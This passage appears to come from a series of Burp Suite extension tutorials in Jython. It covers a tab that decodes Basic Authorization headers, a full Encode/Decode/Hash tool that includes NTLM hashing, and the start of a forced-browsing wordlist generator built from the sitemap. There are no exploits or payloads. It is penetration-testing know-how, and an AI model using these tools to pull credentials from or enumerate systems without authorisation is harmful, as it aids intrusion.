  2879. requestInfo = self._extender._helpers.analyzeRequest(content)
  2880. headers = requestInfo.getHeaders();
  2881. authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
  2882. if authorizationHeader:
  2883. encHeaderValue = authorizationHeader[0].split()[-1]
  2884. try:
  2885. self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
  2886. except Exception as e:
  2887. print e
  2888. self._decodedAuthorizationHeader = ""
  2889. else:
  2890. self._decodedAuthorizationHeader = ""
  2891. return isRequest and self._decodedAuthorizationHeader
  2892.  
  2893. def setMessage(self, content, isRequest):
  2894. ''' Shows the message in the tab if not none
  2895. '''
  2896. if (content is None):
  2897. self._txtInput.setText(None)
  2898. self._txtInput.setEditable(False)
  2899. else:
  2900. self._txtInput.setText(self._decodedAuthorizationHeader)
  2901. return
  2902. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  2903.  
  2904.  
  2905. #######################################################
  2906. # Burp Extension Python Tutorial – Encode/Decode/Hash #
  2907. #######################################################
  2908.  
  2909.  
  2910. Setup
  2911.  
  2912. Create a folder where you’ll store your extensions – I named mine extensions
  2913. Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
  2914. Download exceptions_fix.py *https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
  2915. Configure Burp to use Jython – Extender > Options > Python Environment > Select file
  2916. Create a new file (encodeDecodeHash.py) in your favorite text editor (save it in your extensions folder)
  2917.  
  2918.  
  2919. - Importing required modules and accessing the Extender API, and implementing the debugger
  2920.  
  2921. Let’s write some code:
  2922.  
  2923. --------------------------------------------------------
  2924. from burp import IBurpExtender, ITab
  2925. from javax import swing
  2926. from java.awt import BorderLayout
  2927. import sys
  2928. try:
  2929. from exceptions_fix import FixBurpExceptions
  2930. except ImportError:
  2931. pass
  2932. --------------------------------------------------------
  2933.  
  2934.  
  2935. The IBurpExtender module is required for all extensions, while ITab will register the tab in Burp and send Burp the UI that we will define. The swing library is what is used to build GUI applications with Jython, and we’ll be using layout management, specifically BorderLayout from the java.awt library. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine. I’ll be adding more imports when we start writing encoding method, but this is enough for now.
  2936.  
  2937. This next code snippet will register our extension and create a new tab that will contain the UI. If you’re following along type or paste this code after the imports:
  2938.  
  2939. -----------------------------------------------------------------------------------------------------------------
  2940. class BurpExtender(IBurpExtender, ITab):
  2941. def registerExtenderCallbacks(self, callbacks):
  2942.  
  2943. # Required for easier debugging:
  2944. # https://github.com/securityMB/burp-exceptions
  2945. sys.stdout = callbacks.getStdout()
  2946.  
  2947. # Keep a reference to our callbacks object
  2948. self.callbacks = callbacks
  2949.  
  2950. # Set our extension name
  2951. self.callbacks.setExtensionName("Encode/Decode/Hash")
  2952.  
  2953. # Create the tab
  2954. self.tab = swing.JPanel(BorderLayout())
  2955.  
  2956. # Add the custom tab to Burp's UI
  2957. callbacks.addSuiteTab(self)
  2958. return
  2959.  
  2960. # Implement ITab
  2961. def getTabCaption(self):
  2962. """Return the text to be displayed on the tab"""
  2963. return "Encode/Decode/Hash"
  2964.  
  2965. def getUiComponent(self):
  2966. """Passes the UI to burp"""
  2967. return self.tab
  2968.  
  2969. try:
  2970. FixBurpExceptions()
  2971. except:
  2972. pass
  2973. ------------------------------------------------------------------------------------------------
  2974.  
  2975. This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to create the tab in Burp. ITab requires two methods, getTabCaption and getUiComponent, where getTabCaption returns the name of the tab, and getUiComponent returns the UI itself (self.tab), which is created in the line self.tab=swing.JPanel(). FixBurpExceptions is called at the end of the script just in case we have an error.
  2976.  
  2977.  
  2978. Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > encodeDecodeHash.py
  2979.  
  2980. The extension should load and you should have a new tab: Encode/Decode/Hash
  2981.  
  2982. This tab doesn’t have any features yet, so let’s build the skeleton of the UI
  2983.  
  2984.  
  2985. Onto the code:
  2986.  
  2987. ----------------------------------------------------------------------------------------------
  2988. class BurpExtender(IBurpExtender, ITab):
  2989. ...
  2990. self.tab = swing.Jpanel(BorderLayout())
  2991.  
  2992. # Create the text area at the top of the tab
  2993. textPanel = swing.JPanel()
  2994.  
  2995. # Create the label for the text area
  2996. boxVertical = swing.Box.createVerticalBox()
  2997. boxHorizontal = swing.Box.createHorizontalBox()
  2998. textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
  2999. boxHorizontal.add(textLabel)
  3000. boxVertical.add(boxHorizontal)
  3001.  
  3002. # Create the text area itself
  3003. boxHorizontal = swing.Box.createHorizontalBox()
  3004. self.textArea = swing.JTextArea('', 6, 100)
  3005. self.textArea.setLineWrap(True)
  3006. boxHorizontal.add(self.textArea)
  3007. boxVertical.add(boxHorizontal)
  3008.  
  3009. # Add the text label and area to the text panel
  3010. textPanel.add(boxVertical)
  3011.  
  3012. # Add the text panel to the top of the main tab
  3013. self.tab.add(textPanel, BorderLayout.NORTH)
  3014.  
  3015. # Add the custom tab to Burp's UI
  3016. callbacks.addSuiteTab(self)
  3017. return
  3018. ...
  3019. -----------------------------------------------------------------------------------------
  3020.  
  3021. A bit of explanation. The code (textPanel = swing.JPanel()) creates a new panel that will contain the text label and text area. Then, a box is created (boxVertical), that will be used to hold other boxes (boxHorizontal) that contain the text label and area. The horizontal boxes get added to the vertical box (boxVertical.add(boxHorizontal)), the vertical box is added to the panel we created (textPanel.add(boxVertical)), and that panel is added to the main tab panel at the top (BorderLayout.NORTH). Save the code, unload/reload the extension and this is what you should see: "Text to be encoded/decoded/hashed" field
  3022.  
  3023.  
  3024. Now we’ll add the tabs:
  3025.  
  3026. -----------------------------------------------------------------------------------------
  3027. self.tab.add(textPanel, BorderLayout.NORTH)
  3028.  
  3029. # Created a tabbed pane to go in the center of the
  3030. # main tab, below the text area
  3031. tabbedPane = swing.JTabbedPane()
  3032. self.tab.add("Center", tabbedPane);
  3033.  
  3034. # First tab
  3035. firstTab = swing.JPanel()
  3036. firstTab.layout = BorderLayout()
  3037. tabbedPane.addTab("Encode", firstTab)
  3038.  
  3039. # Second tab
  3040. secondTab = swing.JPanel()
  3041. secondTab.layout = BorderLayout()
  3042. tabbedPane.addTab("Decode", secondTab)
  3043.  
  3044. # Third tab
  3045. thirdTab = swing.JPanel()
  3046. thirdTab.layout = BorderLayout()
  3047. tabbedPane.addTab("Hash", thirdTab)
  3048.  
  3049. # Add the custom tab to Burp's UI
  3050. callbacks.addSuiteTab(self)
  3051. return
  3052. ...
  3053. --------------------------------------------------------------------------------------------------
  3054. After you add this code and save the file, you should have your tabs
  3055.  
  3056.  
  3057. we’re only going to build out the Encode tab, but the steps will be the same for each tab.
  3058.  
  3059. ---------------------------------------------------------------------------------------------------
  3060.  
  3061. # First tab
  3062. firstTab = swing.JPanel()
  3063. firstTab.layout = BorderLayout()
  3064. tabbedPane.addTab("Encode", firstTab)
  3065.  
  3066. # Button for first tab
  3067. buttonPanel = swing.JPanel()
  3068. buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
  3069. firstTab.add(buttonPanel, "North")
  3070.  
  3071. # Panel for the encoders. Each label and text field
  3072. # will go in horizontal boxes which will then go in
  3073. # a vertical box
  3074. encPanel = swing.JPanel()
  3075. boxVertical = swing.Box.createVerticalBox()
  3076.  
  3077. boxHorizontal = swing.Box.createHorizontalBox()
  3078. self.b64EncField = swing.JTextField('', 75)
  3079. boxHorizontal.add(swing.JLabel(" Base64 :"))
  3080. boxHorizontal.add(self.b64EncField)
  3081. boxVertical.add(boxHorizontal)
  3082.  
  3083. boxHorizontal = swing.Box.createHorizontalBox()
  3084. self.urlEncField = swing.JTextField('', 75)
  3085. boxHorizontal.add(swing.JLabel(" URL :"))
  3086. boxHorizontal.add(self.urlEncField)
  3087. boxVertical.add(boxHorizontal)
  3088.  
  3089. boxHorizontal = swing.Box.createHorizontalBox()
  3090. self.asciiHexEncField = swing.JTextField('', 75)
  3091. boxHorizontal.add(swing.JLabel(" Ascii Hex :"))
  3092. boxHorizontal.add(self.asciiHexEncField)
  3093. boxVertical.add(boxHorizontal)
  3094.  
  3095. boxHorizontal = swing.Box.createHorizontalBox()
  3096. self.htmlEncField = swing.JTextField('', 75)
  3097. boxHorizontal.add(swing.JLabel(" HTML :"))
  3098. boxHorizontal.add(self.htmlEncField)
  3099. boxVertical.add(boxHorizontal)
  3100.  
  3101. boxHorizontal = swing.Box.createHorizontalBox()
  3102. self.jsEncField = swing.JTextField('', 75)
  3103. boxHorizontal.add(swing.JLabel(" JavaScript:"))
  3104. boxHorizontal.add(self.jsEncField)
  3105. boxVertical.add(boxHorizontal)
  3106.  
  3107. # Add the vertical box to the Encode tab
  3108. firstTab.add(boxVertical, "Center")
  3109.  
  3110. # Second tab
  3111. ...
  3112.  
  3113. # Third tab
  3114. ...
  3115.  
  3116. # Add the custom tab to Burp's UI
  3117. callbacks.addSuiteTab(self)
  3118. return
  3119.  
  3120. # Implement the functions from the button clicks
  3121. def encode(self, event):
  3122. pass
  3123.  
  3124. # Implement ITab
  3125. def getTabCaption(self):
  3126.  
  3127. -----------------------------------------------------------------------------------------
  3128.  
  3129. First we create a panel (buttonPanel) to hold our button, and then we add a button to the panel and specify the argument actionPerformed=self.encode, where self.encode is a method that will run when the button is clicked. We define encode at the end of the code snippet, and currently have it doing nothing. We’ll implement the encoders later. Now that our panel has a button, we add that to the first tab of the panel (firstTab.add(buttonPanel, “North”)). Next we create a separate panel for the encoder text labels and fields. Similar to before, we create a big box (boxVertical), and then create a horizontal box (boxHorizontal) for each pair of labels/textfields, which then get added to the big box. Finally that big box gets added to the tab. After saving the file and unloading/reloading, you shoud see big box added to the tab.
  3130.  
  3131.  
  3132. The button might not seem to do anything, but it is actually executing the encode method we defined (which does nothing). Lets fix that method and have it encode the user input:
  3133.  
  3134. ---------------------------------------------------------------------------------------------------------
  3135. …
  3136. try:
  3137. from exceptions_fix import FixBurpExceptions
  3138. except ImportError:
  3139. pass
  3140. import base64
  3141. import urllib
  3142. import binascii
  3143. import cgi
  3144. import json
  3145. ...
  3146.  
  3147. # Add the custom tab to Burp's UI
  3148. callbacks.addSuiteTab(self)
  3149. return
  3150.  
  3151. # Implement the functions from the button clicks
  3152. def encode(self, event):
  3153. """Encodes the user input and writes the encoded
  3154. value to text fields.
  3155. """
  3156. self.b64EncField.text = base64.b64encode(self.textArea.text)
  3157. self.urlEncField.text = urllib.quote(self.textArea.text)
  3158. self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
  3159. self.htmlEncField.text = cgi.escape(self.textArea.text)
  3160. self.jsEncField.text = json.dumps(self.textArea.text)
  3161.  
  3162. # Implement ITab
  3163. def getTabCaption(self):
  3164. …
  3165.  
  3166. ----------------------------------------------------------------------------------------------------------
  3167.  
  3168. The encode method sets the text on the encode fields we created by encoding whatever the user types in the top text area (self.textArea.text). Once you save and unload/reload the file you should have full encoding functionality.
  3169.  
  3170. Full code:
  3171.  
  3172. ----------------------------------------------------------------------------------------------------------
  3173.  
  3174. __author__ = 'Jake Miller (@LaconicWolf)'
  3175. __date__ = '20190206'
  3176. __version__ = '0.01'
  3177. __description__ = """Burp Extension that encodes, decodes,
  3178. and hashes user input. Inspired by a
  3179. similar tool in OWASP's ZAP.
  3180. """
  3181.  
  3182. from burp import IBurpExtender, ITab
  3183. from javax import swing
  3184. from java.awt import BorderLayout
  3185. import sys
  3186. import base64
  3187. import urllib
  3188. import binascii
  3189. import cgi
  3190. import json
  3191. import re
  3192. import hashlib
  3193. from HTMLParser import HTMLParser
  3194.  
  3195. try:
  3196. from exceptions_fix import FixBurpExceptions
  3197. except ImportError:
  3198. pass
  3199.  
  3200. class BurpExtender(IBurpExtender, ITab):
  3201. def registerExtenderCallbacks(self, callbacks):
  3202.  
  3203. # Required for easier debugging:
  3204. # https://github.com/securityMB/burp-exceptions
  3205. sys.stdout = callbacks.getStdout()
  3206.  
  3207. # Keep a reference to our callbacks object
  3208. self.callbacks = callbacks
  3209.  
  3210. # Set our extension name
  3211. self.callbacks.setExtensionName("Encode/Decode/Hash")
  3212.  
  3213. # Create the tab
  3214. self.tab = swing.JPanel(BorderLayout())
  3215.  
  3216. # Create the text area at the top of the tab
  3217. textPanel = swing.JPanel()
  3218.  
  3219. # Create the label for the text area
  3220. boxVertical = swing.Box.createVerticalBox()
  3221. boxHorizontal = swing.Box.createHorizontalBox()
  3222. textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
  3223. boxHorizontal.add(textLabel)
  3224. boxVertical.add(boxHorizontal)
  3225.  
  3226. # Create the text area itself
  3227. boxHorizontal = swing.Box.createHorizontalBox()
  3228. self.textArea = swing.JTextArea('', 6, 100)
  3229. self.textArea.setLineWrap(True)
  3230. boxHorizontal.add(self.textArea)
  3231. boxVertical.add(boxHorizontal)
  3232.  
  3233. # Add the text label and area to the text panel
  3234. textPanel.add(boxVertical)
  3235.  
  3236. # Add the text panel to the top of the main tab
  3237. self.tab.add(textPanel, BorderLayout.NORTH)
  3238.  
  3239. # Created a tabbed pane to go in the center of the
  3240. # main tab, below the text area
  3241. tabbedPane = swing.JTabbedPane()
  3242. self.tab.add("Center", tabbedPane);
  3243.  
  3244. # First tab
  3245. firstTab = swing.JPanel()
  3246. firstTab.layout = BorderLayout()
  3247. tabbedPane.addTab("Encode", firstTab)
  3248.  
  3249. # Button for first tab
  3250. buttonPanel = swing.JPanel()
  3251. buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
  3252. firstTab.add(buttonPanel, "North")
  3253.  
  3254. # Panel for the encoders. Each label and text field
  3255. # will go in horizontal boxes which will then go in
  3256. # a vertical box
  3257. encPanel = swing.JPanel()
  3258. boxVertical = swing.Box.createVerticalBox()
  3259.  
  3260. boxHorizontal = swing.Box.createHorizontalBox()
  3261. self.b64EncField = swing.JTextField('', 75)
  3262. boxHorizontal.add(swing.JLabel(" Base64 :"))
  3263. boxHorizontal.add(self.b64EncField)
  3264. boxVertical.add(boxHorizontal)
  3265.  
  3266. boxHorizontal = swing.Box.createHorizontalBox()
  3267. self.urlEncField = swing.JTextField('', 75)
  3268. boxHorizontal.add(swing.JLabel(" URL :"))
  3269. boxHorizontal.add(self.urlEncField)
  3270. boxVertical.add(boxHorizontal)
  3271.  
  3272. boxHorizontal = swing.Box.createHorizontalBox()
  3273. self.asciiHexEncField = swing.JTextField('', 75)
  3274. boxHorizontal.add(swing.JLabel(" Ascii Hex :"))
  3275. boxHorizontal.add(self.asciiHexEncField)
  3276. boxVertical.add(boxHorizontal)
  3277.  
  3278. boxHorizontal = swing.Box.createHorizontalBox()
  3279. self.htmlEncField = swing.JTextField('', 75)
  3280. boxHorizontal.add(swing.JLabel(" HTML :"))
  3281. boxHorizontal.add(self.htmlEncField)
  3282. boxVertical.add(boxHorizontal)
  3283.  
  3284. boxHorizontal = swing.Box.createHorizontalBox()
  3285. self.jsEncField = swing.JTextField('', 75)
  3286. boxHorizontal.add(swing.JLabel(" JavaScript:"))
  3287. boxHorizontal.add(self.jsEncField)
  3288. boxVertical.add(boxHorizontal)
  3289.  
  3290. # Add the vertical box to the Encode tab
  3291. firstTab.add(boxVertical, "Center")
  3292.  
  3293. # Repeat the same process for the remaining tabs
  3294. secondTab = swing.JPanel()
  3295. secondTab.layout = BorderLayout()
  3296. tabbedPane.addTab("Decode", secondTab)
  3297.  
  3298. buttonPanel = swing.JPanel()
  3299. buttonPanel.add(swing.JButton('Decode', actionPerformed=self.decode))
  3300. secondTab.add(buttonPanel, "North")
  3301.  
  3302. decPanel = swing.JPanel()
  3303. boxVertical = swing.Box.createVerticalBox()
  3304.  
  3305. boxHorizontal = swing.Box.createHorizontalBox()
  3306. self.b64DecField = swing.JTextField('', 75)
  3307. boxHorizontal.add(swing.JLabel(" Base64 :"))
  3308. boxHorizontal.add(self.b64DecField)
  3309. boxVertical.add(boxHorizontal)
  3310.  
  3311. boxHorizontal = swing.Box.createHorizontalBox()
  3312. self.urlDecField = swing.JTextField('', 75)
  3313. boxHorizontal.add(swing.JLabel(" URL :"))
  3314. boxHorizontal.add(self.urlDecField)
  3315. boxVertical.add(boxHorizontal)
  3316.  
  3317. boxHorizontal = swing.Box.createHorizontalBox()
  3318. self.asciiHexDecField = swing.JTextField('', 75)
  3319. boxHorizontal.add(swing.JLabel(" Ascii Hex :"))
  3320. boxHorizontal.add(self.asciiHexDecField)
  3321. boxVertical.add(boxHorizontal)
  3322.  
  3323. boxHorizontal = swing.Box.createHorizontalBox()
  3324. self.htmlDecField = swing.JTextField('', 75)
  3325. boxHorizontal.add(swing.JLabel(" HTML :"))
  3326. boxHorizontal.add(self.htmlDecField)
  3327. boxVertical.add(boxHorizontal)
  3328.  
  3329. boxHorizontal = swing.Box.createHorizontalBox()
  3330. self.jsDecField = swing.JTextField('', 75)
  3331. boxHorizontal.add(swing.JLabel(" JavaScript:"))
  3332. boxHorizontal.add(self.jsDecField)
  3333. boxVertical.add(boxHorizontal)
  3334.  
  3335. secondTab.add(boxVertical, "Center")
  3336.  
  3337. thirdTab = swing.JPanel()
  3338. thirdTab.layout = BorderLayout()
  3339. tabbedPane.addTab("Hash", thirdTab)
  3340.  
  3341. buttonPanel = swing.JPanel()
  3342. buttonPanel.add(swing.JButton('Hash', actionPerformed=self.generateHashes))
  3343. thirdTab.add(buttonPanel, "North")
  3344.  
  3345. decPanel = swing.JPanel()
  3346. boxVertical = swing.Box.createVerticalBox()
  3347.  
  3348. boxHorizontal = swing.Box.createHorizontalBox()
  3349. self.md5Field = swing.JTextField('', 75)
  3350. boxHorizontal.add(swing.JLabel(" MD5 :"))
  3351. boxHorizontal.add(self.md5Field)
  3352. boxVertical.add(boxHorizontal)
  3353.  
  3354. boxHorizontal = swing.Box.createHorizontalBox()
  3355. self.sha1Field = swing.JTextField('', 75)
  3356. boxHorizontal.add(swing.JLabel(" SHA-1 :"))
  3357. boxHorizontal.add(self.sha1Field)
  3358. boxVertical.add(boxHorizontal)
  3359.  
  3360. boxHorizontal = swing.Box.createHorizontalBox()
  3361. self.sha256Field = swing.JTextField('', 75)
  3362. boxHorizontal.add(swing.JLabel(" SHA-256 :"))
  3363. boxHorizontal.add(self.sha256Field)
  3364. boxVertical.add(boxHorizontal)
  3365.  
  3366. boxHorizontal = swing.Box.createHorizontalBox()
  3367. self.sha512Field = swing.JTextField('', 75)
  3368. boxHorizontal.add(swing.JLabel(" SHA-512 :"))
  3369. boxHorizontal.add(self.sha512Field)
  3370. boxVertical.add(boxHorizontal)
  3371.  
  3372. boxHorizontal = swing.Box.createHorizontalBox()
  3373. self.ntlmField = swing.JTextField('', 75)
  3374. boxHorizontal.add(swing.JLabel(" NTLM :"))
  3375. boxHorizontal.add(self.ntlmField)
  3376. boxVertical.add(boxHorizontal)
  3377.  
  3378. thirdTab.add(boxVertical, "Center")
  3379.  
  3380. # Add the custom tab to Burp's UI
  3381. callbacks.addSuiteTab(self)
  3382. return
  3383.  
  3384. # Implement ITab
  3385. def getTabCaption(self):
  3386. """Return the text to be displayed on the tab"""
  3387. return "Encode/Decode/Hash"
  3388.  
  3389. def getUiComponent(self):
  3390. """Passes the UI to burp"""
  3391. return self.tab
  3392.  
  3393. # Implement the functions from the button clicks
  3394. def encode(self, event):
  3395. """Encodes the user input and writes the encoded
  3396. value to text fields.
  3397. """
  3398. self.b64EncField.text = base64.b64encode(self.textArea.text)
  3399. self.urlEncField.text = urllib.quote(self.textArea.text)
  3400. self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
  3401. self.htmlEncField.text = cgi.escape(self.textArea.text)
  3402. self.jsEncField.text = json.dumps(self.textArea.text)
  3403.  
  3404. def decode(self, event):
  3405. """Decodes the user input and writes the decoded
  3406. value to text fields."""
  3407. try:
  3408. self.b64DecField.text = base64.b64decode(self.textArea.text)
  3409. except TypeError:
  3410. pass
  3411. self.urlDecField.text = urllib.unquote(self.textArea.text)
  3412. try:
  3413. self.asciiHexDecField.text = binascii.unhexlify(self.textArea.text)
  3414. except TypeError:
  3415. pass
  3416. parser = HTMLParser()
  3417. self.htmlDecField.text = parser.unescape(self.textArea.text)
  3418. self.jsDecField.text = re.sub(r'%u([a-fA-F0-9]{4}|[a-fA-F0-9]{2})', lambda m: chr(int(m.group(1), 16)), self.textArea.text)
  3419.  
  3420. def generateHashes(self, event):
  3421. """Hashes the user input and writes the hashed
  3422. value to text fields.
  3423. """
  3424. self.md5Field.text = hashlib.md5(self.textArea.text).hexdigest()
  3425. self.sha1Field.text = hashlib.sha1(self.textArea.text).hexdigest()
  3426. self.sha256Field.text = hashlib.sha256(self.textArea.text).hexdigest()
  3427. self.sha512Field.text = hashlib.sha512(self.textArea.text).hexdigest()
  3428. self.ntlmField.text = binascii.hexlify(hashlib.new('md4', self.textArea.text.encode('utf-16le')).digest())
  3429.  
  3430. try:
  3431. FixBurpExceptions()
  3432. except:
  3433. pass
  3434. --------------------------------------------------------------------------------------------------------------------------------------------------------
  3435.  
  3436.  
  3437.  
  3438. ########################################################################
  3439. # Burp Extension Python Tutorial – Generate a Forced Browsing Wordlist #
  3440. ########################################################################
  3441.  
  3442.  
  3443. Setup
  3444.  
  3445. • Create a folder where you’ll store extensions – I named mine extensions
  3446. • Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
  3447. • Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
  3448. • Configure Burp to use Jython – Extender > Options > Python Environment > Select file
  3449. • Create a new file (GenerateForcedBrowseWordlist.py) in your favorite text editor (save it in your extensions folder)
  3450.  
  3451. Full code: https://raw.githubusercontent.com/laconicwolf/burp-extensions/master/GenerateForcedBrowseWordlist.py
  3452.  
  3453.  
  3454. - Importing required modules, accessing the Extender API, and implementing the debugger
  3455.  
  3456. -----------------------------------------------------------------------------------
  3457.  
  3458. from burp import IBurpExtender, IContextMenuFactory
  3459. from java.util import ArrayList
  3460. from javax.swing import JMenuItem
  3461. import threading
  3462. import sys
  3463. try:
  3464. from exceptions_fix import FixBurpExceptions
  3465. except ImportError:
  3466. pass
  3467.  
  3468. ------------------------------------------------------------------------------------
  3469.  
  3470.  
  3471. The IBurpExtender module is required for all extensions, while IContextMenuFactory allows us to have the right-click functionality. The JMenuItem is used for the context menu GUI, and the ArrayList is to store our list of options that we want to appear in the context menu. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine.
  3472.  
  3473. This next code snippet will implement the FixBurpExceptions prettier debugger, set references to our callbacks and extension helpers, register our extension with Burp, and keep create a context menu. If you’re following along type or paste this code after the imports:
  3474.  
  3475. -------------------------------------------------------------------------------------
  3476. class BurpExtender(IBurpExtender, IContextMenuFactory):
  3477. def registerExtenderCallbacks(self, callbacks):
  3478.  
  3479. sys.stdout = callbacks.getStdout()
  3480. self.callbacks = callbacks
  3481. self.helpers = callbacks.getHelpers()
  3482. self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
  3483. callbacks.registerContextMenuFactory(self)
  3484.  
  3485. return
  3486.  
  3487. try:
  3488. FixBurpExceptions()
  3489. except:
  3490. pass
  3491. -------------------------------------------------------------------------------------
  3492.  
  3493. The above class implements IBurpExtender, which is required for all extensions and must be named BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to set the extension name, and eventually obtain data from the Sitemap. The line callbacks.registerContextMenuFactory(self) tells Burp that we want to use the context menu, which is the right-click functionality. FixBurpExceptions is called at the end of the script just in case we have an error (Thanks for the code, SecurityMB!). The try/except block calling FixBurpExceptions will always go at the very end of the script.
  3494.  
  3495. Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > GenerateForcedBrowseWordlist.py
  3496.  
  3497. The extension should load without any errors or output. If you click on the Target > Sitemap and right-click something, if you go back to the Extender tab you should now have an error.
  3498.  
  3499. The error is recorded as NotImplementedError, because we invoked the iContextMenuFactory but did not implement any menu items. We can figure out why this happened by reviewing the Extender API documentation (either in Burp or online):
  3500.  
  3501. - the method createMenuItems() “…will be called by Burp when the user invokes a context menu anywhere within Burp. The factory can then provide any custom context menu items that should be displayed in the context menu, based on the details of the menu invocation.”
  3502.  
  3503.  
  3504. - Creating an interface to right-click and perform a function
  3505.  
  3506.  
  3507. We will create the menu items, and then define the functions that are called when the menu items are clicked:
  3508. ---------------------------------------------------------------------------------------------------
  3509. ...
  3510. callbacks.registerContextMenuFactory(self)
  3511.  
  3512. return
  3513.  
  3514. def createMenuItems(self, invocation):
  3515. self.context = invocation
  3516. menuList = ArrayList()
  3517. menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
  3518. actionPerformed=self.createWordlistFromSelected)
  3519. menuList.add(menuItem)
  3520. menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
  3521. actionPerformed=self.createWordlistFromScope)
  3522. menuList.add(menuItem)
  3523. return menuList
  3524.  
  3525. def createWordlistFromSelected(self, event):
  3526. print "in createWordlistFromSelected"
  3527.  
  3528. def createWordlistFromScope(self, event):
  3529. print "in createWordlistFromScope"
  3530.  
  3531. try:
  3532. FixBurpExceptions()
  3533. ...
  3534. --------------------------------------------------------------------------------------------------
  3535.  
  3536. Save the code and reload the extension. Try right-clicking in the Sitemap, and you should now see the option to “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. Click on one of them, and it will execute the function, and you should see output in the Extender output pane.
  3537.  
  3538.  
  3539. Excellent. So far we’ve added out menu items to the context menu, and we are able to run our functions when the menu items are clicked. The next part of the program builds out these function further, and shows how to interact with the recorded HTTP requests and responses contained in the Sitemap.
  3540.  
  3541. We defined two menu options, “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”, so we need to actually make these functions do something other than print. They are actually both going to basically do the same thing, which is start another thread and call another function that will do most of the work. The only difference between the functions will be that createWordlistFromScope() will set a class variable that tells only looks at the sites in scope. On to the code. We edit the functions that we created so they will do more than just print:
  3542.  
  3543.  
  3544. ----------------------------------------------------------------------
  3545.  
  3546. def createMenuItems(self, invocation):
  3547. ...
  3548. return menuList
  3549.  
  3550. def createWordlistFromSelected(self, event):
  3551. self.fromScope = False
  3552. t = threading.Thread(target=self.createWordlist)
  3553. t.daemon = True
  3554. t.start()
  3555.  
  3556. def createWordlistFromScope(self, event):
  3557. self.fromScope = True
  3558. t = threading.Thread(target=self.createWordlist)
  3559. t.daemon = True
  3560. t.start()
  3561.  
  3562. def createWordlist(self):
  3563. print "In createWordlist"
  3564.  
  3565. try:
  3566. FixBurpExceptions()
  3567. ...
  3568.  
  3569. --------------------------------------------------------------------
  3570.  
  3571. The self.fromScope variable is set so the createWordlist function will know whether to look at all of the items in scope or to only look and the site(s) that were selected in the context menu. Then, a thread is defined (t), configured to run the createWordlist function (target=self.createWordlist), and start the thread. Without multi-threading, if we try to run the extension and have a large Sitemap or multiple targets selected, then the GUI will freeze while the program is running.
  3572.  
  3573. If you save and reload this extension, then right-click and send the data to our extension, you should receive the following output in the Extender output tab.
  3574.  
  3575. Now, we can finish the createWordList() function, which is where we interact with the Sitemap:
  3576.  
  3577. - Writing the function that interacts with requests and responses in the Sitemap
  3578.  
  3579. We can review the API documentation (within Burp) to see how to get the data from the Sitemap:
  3580.  
  3581. So if called without any parameter, the entire Sitemap is returned. If a URL prefix is specified, it will only return the Sitemap data that startswith the URL prefix. Recall that our program gives the user two options: “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. To generate the wordlist for all hosts in scope we can return the entire Sitemap, and then use another Burp callbacks method isInScope() to determine whether or not we should use it. Note: When testing this extension I noticed that if you click on an out-of-scope entry in the Sitemap and select “Generate forced browsing wordlist from all hosts in scope”, it will still include that selection, as if it was in scope.
  3582.  
  3583. To generate the wordlist from selected items we first need to record what is selected, then we can either pull the entire Sitemap and compare the URLs we want, or we can give the getSiteMap() the URL prefix for each site individually. I chose the former for this program.
  3584.  
  3585. First, we determine what the user’s selection was:
  3586.  
  3587. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3588.  
  3589. def createWordlistFromScope(self, event):
  3590. ...
  3591. t.start()
  3592.  
  3593. def createWordlist(self):
  3594. httpTraffic = self.context.getSelectedMessages()
  3595. hostUrls = []
  3596. for traffic in httpTraffic:
  3597. try:
  3598. hostUrls.append(str(traffic.getUrl()))
  3599. except UnicodeEncodeError:
  3600. continue
  3601. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3602.  
  3603. Recall that self.context was what the user had selected in the Sitemap when they right-clicked, and the getSelectedMessages() method returns an array of objects containing data about the the items the user had selected. When I was developing the extension I inspected the object to get an idea of what it contained:
  3604.  
  3605. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3606.  
  3607. print type(httpTraffic)
  3608. <type 'array.array'>
  3609.  
  3610. print dir(traffic)
  3611. ['...', 'b', 'class', 'comment', 'equals', 'getClass', 'getComment', 'getHighlight', 'getHost', 'getHttpService', 'getPort', 'getProtocol', 'getRequest', 'getResponse', 'getStatusCode', 'getUrl', 'hashCode', 'highlight', 'host', 'httpService', 'notify', 'notifyAll', 'port', 'protocol', 'request', 'response', 'setComment', 'setHighlight', 'setHost', 'setHttpService', 'setPort', 'setProtocol', 'setRequest', 'setResponse', 'statusCode', 'toString', 'url', 'wait']
  3612.  
  3613. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
